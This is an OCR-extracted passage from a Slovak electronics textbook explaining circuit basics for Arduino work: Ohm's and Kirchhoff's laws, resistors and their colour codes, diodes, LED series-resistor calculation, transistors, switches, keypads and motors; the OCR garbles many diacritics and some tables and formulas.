do jednotlivych vetiev (R1, R2, R2) nepriamo Umerne podla pomeru, v akom si hodnoty rezistorov.
Konkrétne hodnoty sa daju vypocitat podla ohmovho zdkona, ktory je popisany dale;j.

v

Obrazok 4.6 - Paralelné zapojenie rezistorov
Zdroj [5]
V paralelnom zapojeni mdzeme napdjat viacero komponentov, ako s LED diddy ¢i batérie. Vyhoda

tohto zapojenia je v situacii, ak by niektora z batérii alebo diéd LED zlyhala, neprerusila by prud do
inych ciest a ostatné komponenty by ostali funkéné aj nadalej.

Tymto spdsobom by paralelny obvod mohol vyriesit bezny problém vianoc¢nej retaze svietidiel, ked'
jedno svetlo zlyha, obvod sa rozpoji a vSetky svetla zhasnu.

Obrazok 4.7 - Paralelné zapojenie batérii

Zdroj [18]

Zatial' ¢o rozhodnutie medzi sériovymi alebo paralelnymi obvodmi zavisi od pouZitia, napajaci zdroj
musi byt dostato¢ne vykonny, aby mohol v oboch pripadoch zabezpedit napajanie celého obvodu.
Dévodom je rozdielna napatova a prudova naroc¢nost obvodu.

Analégovy obvod

Analdgové obvody su obvody, vktorych sa hodnoty prudu alebo napéatia menia spojite v Case.
Zjednodusene povedané, zmena signalu prebieha kontinualne. Pri digitalnych signaloch tomu tak nie
je.

113



Obrazok 4.8 - Analégovy signal

Zdroj [11]

Pre spracovanie analdogovych signalov sa vyZzaduju Specidlne elektronické obvody, ktoré su
najcastejsie k dispozicii vo forme integrovanych obvodov. Su to miniaturizované obvody vyrobené na
jednom kuse polovodica.

Medzi analégové integrované obvody patria napriklad:

operacné zosilfiovace,
komparatory,

napatim riadené oscilatory,
obvody fazového zavesu,
ainé.

Analdgové integrované obvody sa pouZivaju ako stavebné prvky, napr. v obvodoch riadenia spotreby
energie, snimacoch, zosiliovacoch a elektronickych filtroch.

Digitdlny obvod

V digitalnych obvodoch nadobudaju elektrické signaly diskrétne hodnoty. V pripade dvojhodnotovej
(binarnej) reprezentacie su tieto hodnoty najéastejsie reprezentované ako:

logicka 1 / logicka 0,
zapnuté / vypnuté,
vysoké / nizke,

20 mA / OmA,
3V/0V.

V digitalnych obvodoch sa pouziva binarne kédovanie:

logicka 1 - zvycajne pre napatie 5V / 3,3V,
logicka 0 - napétie zvycajne blizke potencialu zeme alebo 0 voltov.
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Podla pouZivanej vyrobnej technolégie a napatovych Grovni sa tieto obvody skratene oznacuju aj ako
TTL alebo CMOS. Tieto obvody sa nachadzaju v mnohych elektronickych zariadeniach, ktoré sa
pouzivaju v domacnosti a priemysle.

U v]

Obrazok 4.9 - Digitalny signal

Zdroj [11]

Jednosmerny prud

Je to typ prudu, v ktorom tok elektrénov ide vZdy iba jednym smerom. Jednosmerny prud vyrabaju
zdroje ako batérie, napdjacie zdroje, termoclanky, solarne ¢lanky alebo dynama. Jednosmerny prad
sa pouziva na nabijanie batérii a napajanie elektronickych systémov. Je moiné ho ziskat zo
striedavého pridu pomocou usmerniovaca, ktory usmerni striedavy prid na jednosmerny.
Usmernovace sa bezne nachadzaju v napajacom zdroji, ktory ma na vstupe striedavy prad.

Striedavy prud

Je to elektricky prad, v ktorom sa smer pridenia periodicky meni. Zvycajnym priebehom striedavého
prudu vo vacsine elektrickych obvodov je sinusova vina. V urcitych aplikaciach sa pouZivaju rézne
tvary kriviek, ako su trojuholnikové alebo Stvorcové viny. Elektrarne vyrabaju a dodavaju striedavy
prud domacnostiam a firmam. Pre vyrobu striedavého elektrického prudu sa pouzivaju rézne formy
elektrarni, napriklad solarna, veterna, jadrova, vodna, geotermalna.

Rozdiely medzi jednosmernym a striedavym elektrickym pradom:

jednosmerny prid ma v obvode staly smer a velkost, striedavy prid meni v ¢ase svoj smer aj
velkost s urcitou frekvenciou,

zdrojom striedavého prudu je generator alebo alternator, zdrojom jednosmerného prudu je
dynamo alebo galvanické ¢lanky,

skratkou pre jednosmerny prud je v angli¢tine DC, pre striedavy prad AC,

striedavy prud je vhodnejsi na prenos na dlhsie vzdialenosti, lahko sa reguluje jeho velkost.

Ohmov zdkon
Ohmov zakon je fyzikalny zakon, ktory definuje vzajomny vztah medzi:
elektrickym pridom (oznacované ako I),

elektrickym napatim (oznacované ako U),
elektrickym odporom (oznacované ako R).
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Pomenovany je podla svojho objavitela, nemeckého fyzika Georgea Ohma. Matematicky zapis tohto

zakona ma tvar:

U
I=—
R

Vzorec 4.1 - Vzorec pre Ohmov zakon

Z tohto vzorca sa pri dvoch znamych premennych, da odvodit tretia:

U
R=—U=I-R

Vzorec 4.2 - Upraveny vzorec pre Ohmov zdkon

Prakticky priklad aplikacie zakona na rezistore je na obrazku 4.10. Samotny princip fungovania

a poutitie rezistora je vysvetlené dalej.

Ak sa pripoji rezistor s odporom R, na napdjaci zdroj s napatim U, bude rezistorom R pretekat
elektricky prud I. Velkost pradu teclceho cez rezistor je priamo Umerna napétiu napajacieho zdroja

a nepriamo Umerna odporu rezistora. Podla vztahu vo vzorci 4.1.

I R

\

Vzorec 4.3 - Ohmov zakon a rezistor

Vykon

Rezistor je zaradeny do skupiny pasivnych suciastok preto, lebo sa v elektrickom obvode sprava
pasivne. To znamend, Ze nevyraba Ziadnu elektricki energiu, ba naopak, elektricki energiu len
spotrebuva. Sucin napatia U a prudu | na rezistore R je stratovy vykon P, ktory sa na rezistore

premiena na tepelnu energiu:
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Vzorec 4.4 - Vykon

Jednotkou vykonu je Watt (W). Kazdy rezistor ma vyrobcom predpisané maximalne vykonové
zataZenie, ktoré by sme pocas prevadzky nemali prekrocit. V opaénom pripade hrozi, Ze sa bude
prehrievat do takej miery, az ddjde k jeho destrukcii.

Kirchhoffove zakony

Kirchhoffove zakony su dve pravidla stanovujlce principy zachovania naboja a energie v elektrickych
obvodoch. Su jednym zo zakladnych néstrojov pri teoretickej analyze obvodov.

Prvy Kirchhoffov zakon (o prudoch, o uzloch)

Prvy Kirchhoffov zakon opisuje zakon zachovania elektrického néboja. Hovori, Ze v kazdom bode
(uzle) elektrického obvodu plati, Ze:

ZAPAMATAIJTE SI!

Sucet pradov vstupujucich do uzla sa rovna suctu prudov z uzla vystupujucich.

\ &

) I3

p—eo—>»
\ AP

Uzol

Obrazok 4.10 - Tok prudov v uzle

Zdroj [11]
Pripadne alternativna definicia:

Algebricky sucet pradov v ktoromkolvek uzle elektrického obvodu sa rovna nule.

Druhy Kirchhoffov zakon (o napati, o sluckach)

Druhy Kirchoffov zakon formuluje pre elektrické obvody zakon zachovania energie Hovori, Ze:
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ZAPAMATAIJTE SI!

Sucet ubytkov napétia na spotrebiCoch sa v uzavretej casti obvodu (slucke) rovna suctu
elektromotorickych napati zdrojov v tejto ¢asti obvodu.

Q

- Ul R1

U2 R2

Obrazok 4.11 - Napatie v slucke

Zdroj [11]
Pripadne alternativna definicia:

Sucet svorkovych napati prvkov elektrického obvodu v fubovolnej slucke sa rovna nule.

4

Ak by zakon pre nejaku slucku neplatil, mohlo by byt konstruované Perpetuum mobile, v ktorom by
prud touto sluckou prechadzal neustale dokola pri permanentnom odbere energie.

Pouzitie Kirchhoffovych zakonov

Kirchhoffove zakony sa pouzivaju najma pre rozvetvené elektrické obvody, pretoze spolu s Ohmovym
zakonom umoziuju urcit velkost asmer elektrického prudu v jednotlivych vetvach a velkost
elektrického napétia na svorkach jednotlivych prvkov.

Pri analyze obvodu pomocou Kirchhoffovych zdkonov je mozné pouzit jednu z dvoch metdd: analyzu
uzlov (zaloZenu na poutZiti 1. Kirchoffovho zdkona) alebo analyzu sluciek (zaloZzenu na pouziti 2.
Kirchhoffovho zakona).

Metoda uzlov

V obvode sa najdu a oznacia vsetky uzly.
Lubovolne zvolenému uzlu sa priradi nulovy elektricky potencial.
Vsetkym zostavajlucim sa priradi nezndme napétie oproti referencnému uzlu.

PwnN e

Pre kazdy z uzlov, okrem referencného, sa zostavi vzorec podla 1. Kirchhoffovho zakona.
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5. Tato sustava rovnic sa potom vyriesi.

Metdda sluciek

1. Na diagrame sa najdu elementarne slucky, tzn. slucky, ktoré neobsahuji mensie vnorené
slucky.

2. Kazdej takejto slucke sa priradi prud, ktory v nej obieha.

3. Pre kazdu slucku sa zapiSe vzorec podla 2. Kirchhoffovho zdkona, v ktorej sa ako neznama
pouZzije prud pretekajuci sluckou.

4. Tato sUstava rovnic sa potom vyriesi.

4.3 Pasivne suciastky

Suciastky, ktoré spotrebuvaju elektrickl energiu, nazyvame pasivne suciastky. Ak sa suciastky
spravaju ako zdroj elektrickej energie, nazyvame ich aktivne suciastky. To znamen3, Ze do obvodu
dodavaju energiu. Napriklad rezistor nemoéze byt nikdy zdrojom, pretoze prud prechadzajuci
suciastkou a napéatie medzi jej vyvodmi ma vidy rovnaké znamienko a spotreba energie je vidy
kladna ( U*I > 0).

4.3.1 Rezistor

V tejto kapitole sa budeme venovat snad najzndmejsim pasivhym sucéiastkam, bez ktorych by sa
nezaobisiel Ziaden elektronicky obvod. Re¢ bude o rezistoroch, ktorych hlavnou ulohou v elektrickom
obvode je klast pretekajucemu pridu odpor, to znamena obmedzovat elektricky prud.

Charakteristicky parameter rezistora je elektricky odpor. Jednotkou odporu je Ohm, oznacovany
symbolom Q. Jedna z moZnych realnych poddb rezistora a jeho schematicka znacka su znazornené na
obrazku 4.12.

V

\ll:‘\ U

Obrazok 4.12 - Rezistor (vlavo realna podoba, vpravo schematicka znacka)

Zdroj [5]

Farebné pruzky na rezistore sluzZia pre zakdédovanie menovitej hodnoty odporu rezistora a tolerancie.
Tolerancia udavana v percentach vyjadruje moznu odchylku skutoénej hodnoty odporu od menovitej
hodnoty udavanej vyrobcom. V pripade, Ze mame rezistor s menovitou hodnotou odporu 100Q
a toleranciou 5% znamena to, Ze skutocny odpor rezistora sa méze pohybovat v rozsahu od 95Q do
105Q.
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Obrazok 4.13 - Rezistor — farebny kod

Zdroj [5]

V tabulke 4.1 je uvedeny vyznam jednotlivych priuzkov farebného kédu. V stcasnosti sa najcastejsie
stretdvame s 5-pruzkovym, alebo 4-pruzkovym farebnym kédom. V pripade 4-pruzkového kédu prvé
dva pruzky vyjadruju zaklad &isla (Z) atreti prazok vyjadruje ndsobitela (N). Stvrty prazok v tomto
pripade udava toleranciu (T). V pripade 5-pruzkového kodu vyjadruju prvé 3 pruzky zaklad disla,
Stvrty pruzok vyjadruje nasobitela a piaty prazok toleranciu.

Farba Z Z Z N T (%)
Cierna 0 0 0 100

Hneda 1 1 1 10 1
Cervena 2 2 2 100 2
Oranzova 3 3 3 10

Zlta 4 4 4 10¢

Zelena 5 5 5 10 0,5
Modra 6 6 6 10¢ 0,25
Fialova 7 7 7 10° 0,1
Seda 8 8 8 100 0,05
Biela 9 9 9 10e

Zlata 10+ 5
Strieborna 10 10

Tabulka 4.1 - Hodnoty farebného kodu

Podobne, ako nie je mozné kupit v Zeleziarstve skutky s lubovolnym priemerom zavitu, tak ani
rezistory sa nevyrabaju s lubovolnymi menovitymi hodnotami odporu. Vyrabaju sa v takzvanych
odporovych radach. NajcastejSie v rade E24, alebo E12. Napriklad v rade E12 ndjdeme 12 hodnét
odporu na dekadu (vid tabulka 4.2).

120



10 1,2Q (1,5Q (1,8Q [2,2Q [2,7Q |3,3Q | 3,90 |4,7Q |56Q |6,8Q |8,2Q

10Q [ 12Q |15Q |18Q [22Q |27Q [33Q [39Q [47Q [56Q |68Q |820

100Q | 120Q | 150Q | 180Q | 220Q | 270Q | 330Q | 390Q [ 470Q | 560Q | 680Q | 820Q

1k 1k2 1k5 1k8 [ 2k2 2k7 3k3 3k9 | 4k7 5k6 6k8 | 8k2

10k 12k 15k 18k |22k |27k |33k |39k |47k |56k |68k |82k

100k | 120k | 150k | 180k | 220k | 270k | 330k [ 390k | 470k | 560k [ 680k | 820k

1M M2 | 1MS | 1M8 [2M2 | 2M7 [ 3M3 | 3M9 |4M7 [5M6 | 6M8 | 8M2

Tabul'ka 4.2 - Rezistory z rady E12

Pri vacsich hodnotach odporu sa k symbolu Q pridava predpona k-kilo (kilo=1000) alebo M-mega
(mega=milion). Teda rezistor s odporom R=220000Q by sme mohli zapisat tiez ako R=220kQ), alebo
takisto R=0,22MQ.

Niekedy sa pripony pouZivaju namiesto desatinnych ciarok a dokonca sa v tomto pripade symbol Q
ani nepouziva. Napriklad zapis R=3k3 mobZe znamenat, Ze rezistor R ma odpor 3,3kQ, alebo tiez
3300Q). Dal$im nestandardnym, ale pouzivanym formatom zapisu, hlavne vysokych hodnét odporu, je
napr. M22, t.j. 220kQ.

4.3.2 Potenciometer

Potenciometer je mozné najst napriklad na radiovom prijimaci pre ovladanie hlasitosti. Na obrazku
Cislo 4.15 je vyobrazeny potenciometer zloZzeny z nevodivej podlozky, na ktorej je nanesenda tenka
vrstva odporového materidlu a beZca, ktory ma vodivy kontakt s odporovou vrstvou a otacanim
hriadela potenciometra sa po nej pohybuje. Zaciatok a koniec odporovej drahy su vyvedené na
vyvodoch A a B. BeZec je vyvedeny na vyvode C.
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\ - ODPOROVA VRSTVA
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NEVODIVA PODLOZKA

Obrazok 4.14 — Potenciometer

Zdroj [5]

4.3.3 Fotorezistor

Fotorezistor sa vyznacuje podobnou funkciou ako obycajny rezistor, ateda kladie odpor
pretekajucemu prudu. Vlastnostou fotorezistora je vSak to, Zze jeho elektricky odpor je zavisly od
intenzity osvetlenia.

Pri nizkej intenzite osvetlenia ma fotorezistor pomerne vysoky odpor R, ktory s narastajucou
intenzitou osvetlenia E, udavanou v jednotkach Lux (Ix), klesa. Ako je mozné vidiet na obrazku 4.15,
zavislost odporu od intenzity osvetlenia je nelinearna.

Obrazok 4.15 - Fotorezistor (vlavo redlna podoba, vpravo zavislost odporu na osvetleni)

Zdroj [5]

Fotorezistory suU pouZivané ako jednoduché snimace intenzity osvetlenia. Charakteristickym
parametrom fotorezistora je jeho menovity odpor, ktory sa udava najcastejsie pri intenzite osvetlenia
10 Ix. Napriklad fotorezistor PGM5516 ma pri intenzite osvetlenia 10 Ix menovity odpor 5 az 10kQ.
Z tecgbucjeh dokumentdcie tohto fotorezistora vyplyva, Ze vyrobca garantuje pri Uplnej tme odpor
fotorezistora minimalne 200kQ.

4.4 Aktivne prvky

Aktivne sudiastky su schopné zosilfiovat a riadit elektricky signal, pripadne sa dokazu spravat ako
zdroj. Medzi aktivne prvky patria polovodicové suciastky akymi su diddy, tranzistory, tyristory, triaky,
diaky a integrované obvody.
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4.4.1 Dioda

Polovodicové didda je elektronickd suciastka, ktorej ulohou v elektrickom obvode je prepustat
elektricky prdd jednym smerom. Podla konstrukcie sldzi na usmerniovanie elektrického prudu
(premena striedavého pradu na jednosmerny prud), kstabilizacii elektrického napatia alebo
k signalizacii priechodu pradu.

N\ Andda Katoda

Obrazok 4.16 - Polovodicova didda (vliavo realna podoba, vpravo schématicka znacka)

Zdroj [5]

Polovodicova didda sa sklada z dvoch primesovych polovodicov - jeden polovodic je typu N (katoda)
a druhy polovodic je typu P (andda). Na rozhrani polovodicov vznikne prechod P-N (hradlova vrstva),
ktory v idedlnom pripade prepusta priud iba jednym smerom.

Zakladom diddy byva germaniova alebo kremikova dosticka, obohatena zjednej strany o prvok
s piatimi valenénymi elektronmi (fosfor, arzén), zdruhej strany o prvok stroma valenénymi
elektronmi (bor, hlinik, galium, indium). Vzajomnym silovym pdésobenim medzi Casticami sa na
prechode P-N vytvori vnutorné elektrické pole.

Diéda nachadza uplatnenie v mnohych oblastiach:

usmerniovacia diéda - usmernenie striedavého prudu (samostatne, alebo ako sucast
usmernovaca).

dtabilizac¢na (Zenerova) didda - vyrovnavanie priebehu napatia v stabilizacnych obvodoch.

led didda - signalizacia priechodu prudu (s nizkym narokom na spotrebu) alebo zdroj svetla,
napriklad v optickych mysiach.

fotodidda - sucast fotobuniek, polovodicovych detektorov Ziarenia alebo sineénych élankov.

Diddu je mozné do elektronického obvodu zapojit v priepustnom aj zavernom smere.

Priepustny smer

Pri zapojeni kladného pdlu zdroja k anéde (typ P) a zdporného pdlu zdroja ku katéde (typ N) sa
prechod P-N v didde, braniac priechodu castic, zmensi alebo Uplne zrusi. Diddou preteka elektricky
prad, elektricky odpor diddy méze byt velmi nizky, ale na diéde vidy vznika urdity ubytok napatia.

Zdverny smer

Pri zapojeni kladného pdlu zdroja ku katdde (typ N) a zaporného poélu k andde (typ P) sa prechod P-N
v didde rozsiri, elektricky odpor diddy sa zvacsi. Elektricky prad videdlnom pripade neprechadza.
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V skutocnosti diédou prechadza prud spésobeny minoritnymi nosi¢mi naboja, tento prud je vsak
velmi maly.
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Obrazok 4.17 - Zapojenie diddy (vliavo priepustny smer, vpravo zaverny smer)

Zdroj [5]

4.4.2 LED

Diédy emitujluce svetlo, alebo inak nazyvané LED (Light Emitting Diode), su v sucasnosti velmi
popularnym a rozSirenym zdrojom svetla. Podobne ako klasické polovodi¢ové usmernovacie diddy,
tak aj LED sa vyznacuju schopnostou viest elektricky priad iba jednym smerom, a to iba v pripade, ak
su zapojené v priepustnom smere.

To znamen3, Ze vyvod LED oznacovany ako andda (A) je pripojeny ku kladnému pdlu napajacieho
zdroja U a vyvod oznacovany ako katdda (K) je pripojeny k zdpornému podlu napajacieho zdroja (vid'
obrazok4.19). Na rozdiel od usmernovacej diddy, LED pri prechode prudu emituje svetlo. V pripade
opacnej polarizacie telie cez LED len velmi maly zaverny prud, ktory modzeme zanedbat
a samozrejme, ze vtedy LED emitovat svetlo nebude.

Obrazok 4.18 — LED (vlavo redlny vzhlad, vpravo schématicke zapojenie)
Zdroj [5]

Na skuto¢nej LED vieme spoznat anddu na zaklade dizky vyvodov. DIhdi vyvod LED je andda. Dal$im
rozliSovacim znakom vyvodov je sploSteny okraj puzdra LED. Splostenim puzdra je oznacena katdda.

Na obr. 4.19 je znazornena Volt-Ampérova charakteristika cervenej LED typu L1503-ID. Na
charakteristike mbéZeme sledovat, zZe pri postupnom zvySovani napéatia Ur v priepustnom smere od OV
vyssie, tecie diddou len zanedbatelny prud Ie. Po prekroceni urcitého prahového napatia, dochadza
k prudkému narastu prudu IF a teda aj rozsvieteniu LED.
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Prahové napatie pre cervené LED sa pohybuje okolo hodnoty 1,8V. ZvySovanie napatia UF je
limitované maximalnym prddom v priepustnom smere lgmax. Napriklad pre ¢ervenu LED typu L1503-ID
je lemax = 30 mA. Prekrolenie tohto prddu méze mat za nasledok znicenie LED. Preto sa
LEDk napdjaciemu zdroju pripajaju cez rezistor, ktory obmedzuje prud teclci cez LED. Pri prepdlovani
LED je potrebné davat si pozor na maximalne napétie v zdvernom smere, ktoré je maximalne 5V. Po
prekroceni tohto napatia dochadza k nezvratnému poskodeniu LED.
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Obrazok 4.19 - Volatampérova charakteristika pre LED

Pre zapojenie LED diédz k Arduino doske mdzeme vychadzat z parametrov a V-A charakteristiky
Cervenej LED vyssie uvedeného typu L1503-ID.

Ak by sme LED pripojili priamo na digitalny vystup Arduina, tak pri vySsej Urovni napétia na vystupe
by sme mali na LED napatie Ug=5V. Podla V-A charakteristiky by pri tomto napéati mal pretekat cez
LED prud Iz omnoho vys$si, ako je maximalny povoleny prid lemax. Znamenalo by to, Ze mdze dojst
k destrukcii LED, alebo ¢o je moZno aj horsie, k poSkodeniu digitdlneho vystupu mikrokontroléra.
Preto LED pripojime k vystupu mikrokontroléra cez rezistor R tak, ako to je zndzornené na obrazku
4.20.

IF %
K digitdlnemu vystupu o>—{ |

R 1
U\L D __\;\ Ur

GND ©

Obrazok 4.20 - Pripojenie LED na zdroj napatia

Zdroj [5]

Hodnotu odporu R uré¢ime pomocou Ohmovho zakona ako podiel napatia Ur na rezistore a prudu g
tecuceho rezistorom a stcasne aj LED diddou - D. Plati, Ze napétie Ug na rezistore je rozdielom medzi
napajacim napatim U a napatim UF na LED. Potom vysledny vztah nadobuda tvar podla vzorca 4.5.
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Vzorec 4.5 - Vypocet predradného odporu

Pri vypocte si zvolime prad Ir tecuci cez LED. Prud odoberany z digitdlneho vystupu Arduina typu
UNO, z ktorého napdjame LED, nesmie prekrocit hodnotu 20mA. Maximalny prud teétci LED mbze
byt az 30mA. LED vSak postacuje k svieteniu aj prad 10mA. Zvolme teda prud I;=20mA. Tomuto
prudu podla V-A charakteristiky na obrazku ¢. 4.20 zodpovedd napatie Ur=2V. Napdjacie napéatie
obvodu U z digitdlneho vystupu je rovné 5V. Po dosadeni do vztahu ziskame hodnotu odporu
rezistora R:

_U-Up _ sy=2r _
R= IFF 0,024 1500

Vzorec 4.6 - Vypocet predradného odporu

Farba svetla LED zavisi od zloZenia polovodicového materiadlu z ktorého je LED vyrobena. S farbou
svetla sa menia aj vlastnosti LED, hlavne hodnota prahového napétia, pri ktorom sa LED zacina
otvarat v priepustnom smere, viest prud a teda aj svietit. V tabulke ¢. 4.3 st pre porovnanie uvedené
napatia Ur na LED roznych farieb pri prude [==20mA pre konkrétne typy LED.

V pripade, Ze navrhujeme rezistor pre pripojenie LED anepozndame konkrétny typ LED, vieme
odhadnut napatie na LED pri pride 20mA podla farby. Napr. modra LED - Ug zhruba 3,5V, biela LED -
Ur zhruba 3V, Cervena a zelena LED - Ug zhruba 2V. Aky rezistor by sme teda pouzili pre pripojenie
modrej LED k digitdlnemu vystupu Arduina a aky rezistor pri zelenej LED, ak uvaZujeme U=5V na
digitalnom vystupe mikrokontroléra?

Farba LED Typ LED Ur pri [.=20mA
Infracervena L-53F3C 1,2V

Cervend L-1503ID 2V

Zelend L-1503GD 2,2V

Modra L-53MBC 3,8V

Biela LTW-2S3D8 3,1V

Tabul'ka 4.3 - Prahové napatie pre farebné LED

svyve

emitovat svetlo uz pri napéati okolo 1V. Najvy$sie prahové napéatia maju ultrafialové LED, priblizne
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3,4V aviac. LED najdeme v roznych prevedeniach. Vyrabaju sa ako malé signalizacné LED, alebo
vykonové LED pouzivané v LED Ziarovkach a svietidlach.

Zaujimavym druhom LED je RGB LED na obrazok 4.22, ktorad v jednom puzdre obsahuje 3 LED -
cerveny, zelend a modrd. Nastavenim intenzity svietenia jednotlivych LED vieme namiesat [ubovolnu
vyslednu farbu. Tieto LED sa vyuZivaju napriklad pri konstrukcii velkoplosnych LED obrazoviek, kde
kazda RGB LED je jeden obrazovy bod obrazovky.

N

Obrazok 4.21 - RGB LED a miesanie troch zakladnych farieb

Zdroj [5]

4.4.3 Tranzistor

Tranzistor je trojvrstvova polovodicova suciastka, ktora sa skladd ztroch vrstiev polovodi¢ového
materiadlu. Vnutorna vrstva sa nazyva baza (B). Vonkajsie vrstvy su emitor (E) a kolektor (C). Ak si
vezmeme tranzistor typu PNP zapojeny podla obrazka 4.23, vidime, Ze prechod kolektor - baza
vytvara diddu, ktora je polarizovana napatim Ucs v spatnom smere (emitor je odpojeny). Preto bude
jej obvodom prechadzat len velmi maly prad, ktory je nasyteny uz pri napati niekolko desatin V.
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Obrazok 4.22 - Tranzistor typu NPN (vlavo) a PNP (vpravo)

Zdroj [11]

Tranzistory rozdelujeme na niekolko zakladnych typov:

B bipolarny - (BJT - Bipolar Junction Transistor), riadeny priudom tectcim do bazy.

127



unipolarny - (FET - Field Effect Transistor), riadeny napatim (elektrostatickym polom) na
riadiacej elektrode (gate).

JFET - (Junction FET),riadiaca elektréda je tvorend zaverne polarizovanym prechodom PN.
MESFET - (Metal Semiconductor FET),riadiaca elektroda je tvorend zaverne polarizovanym
prechodom kov-polokov.

MOSFET - (Metal Oxide Semiconductor FET), riadiaca elektréda je izolovana od zvysku
tranzistora oxidom. Vo vykonovom variante sa pouZivaju pre riadenie motorov.

MISFET - (Metal Insulated Semiconductor FET),spolo¢ny nazov pre tranzistor sizolovanou
riadiacou elektrédou. 1zolantom nemusi byt len oxid (napr. Nitrid a i.).

Tranzistor je moziné zapojit niekolkymi spdsobmi. Konkrétne zapojenie je zavislé od Gcéelu
elektronického obvodu:

so spolo¢nym emitorom — oznacenie ako SE. Pouziva sa ako spina¢. Zapojenie poskytuje
zosilnenie prudu a napatia.

so spolo¢nou bazou — oznacenie ako SB. PouZiva sa vo vysoko frekvencnej elektronike.
Zapojenie poskytuje zosilnenie napatia.

so spoloénym kolektorom — oznadenie ako SK. PouZiva sa vo vysoko/nizko frekvencnej
elektronike. Zapojenie poskytuje zosilnenie prudu.

4.5 Elektromechanické prvky

V pripade elektromechanickych prvkov sa jednd o prvky elektronického alebo elektrického obvodu,
ktoré obsahuju dva aviac kovovych mechanickych kontaktov. Do kategérie elektromechanickych
prvkov, mozeme zaradit:

spinace,
tlacidla,
prepinace,
relé,
konektory.

Aktivovanim tychto prvkov, zatlacenim hmatnika alebo packy, pripadne pootocenim hriadela,
dochadza kspajaniu, rozpajaniu alebo prepinaniu vnutornych kontaktov. Podla mechanickej
konstrukcie a funkcie rozliSujeme:

spinac - tiez niekedy nazyvany vypinac, pracuje v dvoch polohach. V prvej polohe su kontakty
spinaca rozpojené aprud cez neho neprechadza. V druhej polohe su kontakty spojené
a spinac vedie prud. K prechodu z jednej polohy do druhej dochadza po stlaceni prstom ruky,
pri¢om v nastavenej polohe ostava aj po tom, ¢o prst na neho prestane pdosobit.

tla¢idlo - ma obdobnu funkciu ako spina¢. Ak tladidlo obsahuje spinacie kontakty,
v pokojovom stave, kedy nie je tlacidlo stlacené, su kontakty tladidla rozpojené a prud cez
tlac¢idlo neprechadza. Po stlaceni su kontakty spojené avedie prud. Ak na tlacidlo
prestaneme pdsobit prstom, kontakty sa rozpoja. Tlacidlo mozZe obsahovat aj rozpajacie
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kontakty. Vtedy su v pokojovom stave kontakty spojené a po zatlaceni tlacidla sa kontakty
rozpoja.

prepinac - obsahuje minimalne tri a viac kontaktov a mdze pracovat vo viacerych polohach.
Prepinanim pol6h prepinaca dosiahneme spinanie kontaktov v roznych kombindciach.
Napriklad dvojpolohovy prepinaé, ktory obsahuje 3 kontakty méze mat v 1. polohe spojené
kontakty 1 a 2, v 2. polohe spojené kontakty 2 a 3.

relé - elektricky ovlddany spinac. Mnohé relé pouzivaju elektromagnet na mechanické
ovladanie spinaca, ale pouZivaju sa aj iné prevadzkové principy, vyuzivané napriklad v SS
(solid-state) relatkach. Velkou vyhodou SS relé je absencia mechanickych Casti, ¢o predlzuje
ich Zivotnost, znizuje hlu¢nost a odstranuje iskrenie, ktoré vznika pri spinani.

V niektorych zariadeniach vyuzivame velké mnoistvo tlacidiel. Prikladom mobZe byt klavesnica
kddového zamku (obrazok 4.23), klavesnica kalkulacky alebo klavesnica pocitaca. V pripade
kodového zamku mame 16 tlacidiel klavesnice.Ak by sme chceli jednotlivé tlacidla pripojit priamo na
digitalne vstupy mikrokontroléra, potrebovali by sme na pripojenie tladidiel 16 vodicov a obsadili
pritom 16 digitalnych vstupov.

Za predpokladu, Ze mame digitalnych vstupov a vystupov dostatok, nemusi to znamenat problém.
Ale ¢o vtom pripade, ak digitdlnych vstupov je malo, alebo ak chceme pripojit viactladidlovu
klavesnicu, napr. 100-tlacidlova?

ROWO

ROW1

ROW2

4R (5‘/‘.’3

Obrazok 4.23 - Klavesnica (vliavo realny vzhl'ad, vpravo schematické zapojenie tlacidiel)

Zdroj [11]

Preto sa v praxi vyuZiva maticové zapojenie tlacidiel, ako je zndzornené na obrazku 4.24. Pri takomto
zapojeni je potrebnych len 8 vodicov na pripojenie 16 tlacidiel k mikrokontroléru. Takéto zapojenie
Setri pocet obsadenych vstupov mikrokontroléra. Pri zapojeniach vytvorenych prototypovacich dosak
typu Arduino, je tato Uspora Ziaduca.

4.6 Aktuatory

Pod pojmom aktuator, alebo tieZ niekedy nazyvany akény clen, rozumieme zariadenie, ktoré
prevadza vstupné riadiace signdly na vystupnd mechanicku energiu, alebo inak povedané na urcity
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pohyb. Prikladom mdzZu byt elektromotory, krokové motory, servomotory, ale aj rdzne pneumatické
a hydraulické valce.

Jednosmerné elektromotory

Elektromotor je elektrické zariadenie premienajuice elektricky prid na mechanickd pracu, resp. na
mechanicky pohyb — rotacny pohyb (rotacny motor) alebo linedrny pohyb (linedrny motor). Opacnym
zariadenim k elektromotoru je zariadenie premienajuce mechanickd pracu na elektricki energiu —
dynamo a alternator. Konstrukcne su si elektromotory a dynama, resp. alternatory, velmi podobné.

Najjednoduchsim prikladom elektromotora je jednosmerny elektromotor (DC). Na trhu je k dispozicii
niekolko typov jednosmernych elektromotorov.

z - S
Kefkové motory >~ \\ 65 - ; \ .‘. IR \
" Y 2 J “?(
- . .

Motory s prevodovkou

Bezkefkové motory

Obrazok 4.24 - Prehl'ad jednosmernych (DC) motorov

Zdroj [5, 11]

Otacky jednosmerného elektromotora moézeme riadit zmenou velkosti napéjacieho napatia. Délezité
je neprekrocit menovité napajacie napatie elektromotora. Zmenou polarity napajacieho napatia je
mozné jednoducho menit smer otacania hriadela elektromotora.

Servomotory

Servomotor je aktudtor, pri ktorom vieme pomocou riadiaceho signalu nastavit presny uhol
natocenia jeho hriadela. Servomotory nachadzaju vyuZzitie napriklad v robotike - polohovanie ramien
robota, v priemysle - polohovanie osi CNC strojov, polohovanie skrtiacej klapky ventilu, alebo aj
v modelarstve - natacanie klapiek na kridlach RC modelov lietadiel. Vzhladom na ucel pouZitia sa od
seba navzajom odlisuju konstrukciou, typom pohonu a spésobom riadenia.

Najjednoduchsim prikladom servomotora je modelarsky servomotor, ktory pozostava
z jednosmerného elektromotora, prevodovky medzi elektromotorom a vystupnym hriadelom,
snimaca uhla natocenia hriadela na baze potenciometra a riadiacej elektroniky.

130



Potenciometer

Prevodovka

- Integrovany obvod

* Motor

Obrazok 4.25 - Modelarsky servomotor

Zdroj [11]

Servomotor je zapajany pomocou troch vodicov, pricom dva vodice su napajacie a jeden vodic sluzi
na prenos riadiaceho signalu. Typické napajanie tychto servomotorov je 5 aZz 6 Voltov. Samozrejme,
kazdy servomotor ma svoje Specifika, a preto je pred pouZitim potrebné prestudovat technickud
dokumentaciu konkrétneho servomotora, tzv. datasheet, kde je okrem iného uvedeny aj dovoleny
